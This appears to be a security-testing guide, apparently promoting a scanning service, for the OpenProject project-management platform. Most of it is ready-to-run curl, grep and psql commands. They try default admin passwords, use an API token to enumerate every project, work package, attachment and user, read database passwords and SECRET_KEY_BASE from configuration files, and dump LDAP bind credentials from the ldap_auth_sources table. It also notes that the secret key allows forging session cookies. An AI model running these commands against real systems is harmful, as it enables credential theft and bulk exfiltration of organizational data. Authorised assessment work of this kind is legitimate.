OpenProject Security Testing: Default Credentials, API Token, Project Data, and LDAP Integration

OpenProject is a widely deployed open-source project management platform used in enterprises, government agencies, and engineering organizations for managing projects, work packages, Gantt timelines, budgets, and sensitive planning documents. Its extensive REST API and integration with organizational LDAP/Active Directory makes it an important target for security assessment. Key assessment areas: OpenProject defaults to admin/admin; the REST API token provides access to all projects, work packages, meeting notes, and uploaded attachments; configuration.yml stores the PostgreSQL database password; LDAP bind credentials are stored in the database; and the /api/v3/users endpoint with an admin token exposes all user accounts with email addresses. This guide covers systematic OpenProject security assessment.

Table of Contents

  1. Default Credentials and API Token Access
  2. Project Data and Attachment Enumeration
  3. Configuration Credentials and LDAP Access
  4. OpenProject Security Hardening

Default Credentials and API Token Access

# OpenProject — default credentials and API token authentication
OP_URL="https://openproject.example.com"
OP_TOKEN="your-openproject-api-token"

# Default credentials: admin / admin (forced change on first login in recent versions)
# Also try: admin / openproject, admin / password
# Test basic auth with API token
curl -s "${OP_URL}/api/v3/users/me" \
  -H "Authorization: Basic $(echo -n "apikey:${OP_TOKEN}" | base64)" 2>/dev/null | python3 -c "
import json,sys
u=json.load(sys.stdin)
print(f'User: {u.get(\"login\")} ({u.get(\"firstName\")} {u.get(\"lastName\")}) email={u.get(\"email\")}')
print(f'Admin: {u.get(\"admin\")} status={u.get(\"status\")}')
print(f'ID: {u.get(\"id\")}')
" 2>/dev/null

# Enumerate all projects the token user can access
curl -s "${OP_URL}/api/v3/projects?pageSize=100" \
  -H "Authorization: Basic $(echo -n "apikey:${OP_TOKEN}" | base64)" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
projects = d.get('_embedded',{}).get('elements',[])
total = d.get('total',0)
print(f'Projects: {total}')
for p in projects:
    print(f'  [{p.get(\"id\")}] {p.get(\"name\")} status={p.get(\"status\")} public={p.get(\"public\")}')
    print(f'    Description: {str(p.get(\"description\",{}).get(\"raw\",\"\"))[:80]}')
" 2>/dev/null

Project Data and Attachment Enumeration

# OpenProject work package and attachment enumeration
OP_URL="https://openproject.example.com"
OP_TOKEN="your-openproject-api-token"
AUTH="Authorization: Basic $(echo -n "apikey:${OP_TOKEN}" | base64)"

# All work packages across all accessible projects
curl -s "${OP_URL}/api/v3/work_packages?pageSize=100&sortBy=[[\"updatedAt\",\"desc\"]]" \
  -H "${AUTH}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
wps = d.get('_embedded',{}).get('elements',[])
total = d.get('total',0)
print(f'Work packages: {total}')
for w in wps[:20]:
    assigned = w.get('_embedded',{}).get('assignee',{})
    print(f'  [{w.get(\"id\")}] {w.get(\"subject\")} status={w.get(\"_embedded\",{}).get(\"status\",{}).get(\"name\")}')
    print(f'    Priority: {w.get(\"_embedded\",{}).get(\"priority\",{}).get(\"name\")} assigned={assigned.get(\"login\",\"unassigned\")}')
    print(f'    Description: {str(w.get(\"description\",{}).get(\"raw\",\"\"))[:100]}')
" 2>/dev/null

# Download all file attachments — project documents and deliverables
curl -s "${OP_URL}/api/v3/attachments?pageSize=100" \
  -H "${AUTH}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
attachments = d.get('_embedded',{}).get('elements',[])
total = d.get('total',0)
print(f'Attachments: {total}')
for a in attachments[:20]:
    dl = a.get('_links',{}).get('downloadLocation',{}).get('href','')
    print(f'  [{a.get(\"id\")}] {a.get(\"fileName\")} size={a.get(\"fileSize\")} type={a.get(\"contentType\")}')
    print(f'    Download: {dl}')
" 2>/dev/null

# Enumerate all users (admin token required)
curl -s "${OP_URL}/api/v3/users?pageSize=200" \
  -H "${AUTH}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('_embedded',{}).get('elements',[])
print(f'Users: {d.get(\"total\",0)}')
for u in users[:20]:
    print(f'  [{u.get(\"id\")}] {u.get(\"login\")} ({u.get(\"firstName\")} {u.get(\"lastName\")}) email={u.get(\"email\")} admin={u.get(\"admin\")}')
" 2>/dev/null

Configuration Credentials and LDAP Access

# OpenProject configuration.yml and LDAP credential extraction

# configuration.yml — database password and email credentials
grep -E "database:|password:|secret|production:" -A 10 \
  /home/openproject/openproject/config/configuration.yml 2>/dev/null
# production.database.password — PostgreSQL password

# Docker/packaged installation
grep -E "DATABASE_URL|SECRET_KEY_BASE|OPENPROJECT_DB_PASSWORD" \
  /etc/openproject/conf.d/openproject 2>/dev/null

# LDAP authentication settings in PostgreSQL database
su -c "psql -d openproject" openproject 2>/dev/null << 'EOF'
SELECT id, name, hostname, port, tls_mode,
       account, account_password, base_dn, filter_string,
       login_mapping_attribute, mail_mapping_attribute
FROM ldap_auth_sources;
EOF
# account — LDAP bind DN (service account)
# account_password — LDAP bind password

# IncomingMail settings — IMAP/POP3 credentials for email-to-task integration
su -c "psql -d openproject -c \"SELECT setting, value FROM settings WHERE setting IN ('mail_handler_body_delimiters','mail_from','autologin') LIMIT 20\"" openproject 2>/dev/null

OpenProject Security Hardening

OpenProject Security Hardening Checklist:
Security TestMethodRisk
Default admin/admin credential exploitationPOST login with admin:admin — provides full OpenProject admin access; all projects, work packages, attachments, meeting notes, budgets; LDAP settings with bind credentials; user managementCritical
Work package and project data enumerationGET /api/v3/work_packages — returns all work items across all accessible projects; includes task descriptions, comments, assignees, deadlines, and custom field values which may contain sensitive planning dataCritical
Attachment download — all uploaded project documentsGET /api/v3/attachments — lists all uploaded files with download URLs; project deliverables, technical specs, financial documents, contracts, and internal reports stored as work package attachmentsCritical
LDAP bind credential extraction from databasePostgreSQL query on ldap_auth_sources — account and account_password columns; Active Directory bind credentials for the OpenProject service account enabling AD enumerationCritical
configuration.yml secret_key_base extraction for session forgeryRead configuration.yml — secret_key_base enables forging Rails session cookies for any OpenProject user account; database_password enables direct PostgreSQL access to all project data and user bcrypt hashesCritical

Automate OpenProject Security Testing

Ironimo tests OpenProject deployments for default admin credential exploitation, REST API project and work package enumeration, attachment download and document access, LDAP bind credential extraction from ldap_auth_sources, configuration.yml secret_key_base session forgery testing, database password access, admin user enumeration via /api/v3/users, project visibility misconfiguration assessment, and Rails secret exposure testing.

Start free scan